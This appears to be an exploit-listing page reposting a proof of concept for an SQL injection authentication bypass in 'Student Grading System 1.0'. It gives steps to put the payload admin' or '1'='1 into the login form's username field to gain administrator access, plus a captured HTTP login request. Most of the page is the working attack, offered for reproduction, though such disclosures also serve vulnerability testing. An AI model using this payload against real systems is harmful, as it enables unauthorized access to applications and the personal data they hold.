Student Grading System 1.0 - SQLi Authentication Bypass

CVE Category Price Severity
N/A CWE-89 N/A High
Author Risk Exploitation Type Date
Unknown High Remote 2022-10-08
Our sensors found this exploit at:

Below is a copy:

Student Grading System 1.0 - SQLi Authentication Bypass
# Exploit Title: Student Grading System 1.0 - SQLi Authentication Bypass
# Date: 08.09.2022
# Exploit Author: Emre Ayduslu
# Vendor Homepage:
# Software Link:
# Version: 1.0
# Tested on: Windows 11, Kali Linux
# Student Grading System v1.0 Login page can be bypassed with a simple SQLi to the username parameter.

Steps To Reproduce:
1 - Go to the login page http://localhost/grading/login.php
2 - Enter the payload to username field as "admin' or '1'='1" without double-quotes and type anything to password field.
3 - Click on "Login" button and you are logged in as administrator.


POST /grading/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
Origin: http://localhost
Connection: close
Referer: http://localhost/grading/login.php
Cookie: PHPSESSID=90cd9gkhqrckscvar8f83iv5os
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1


Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.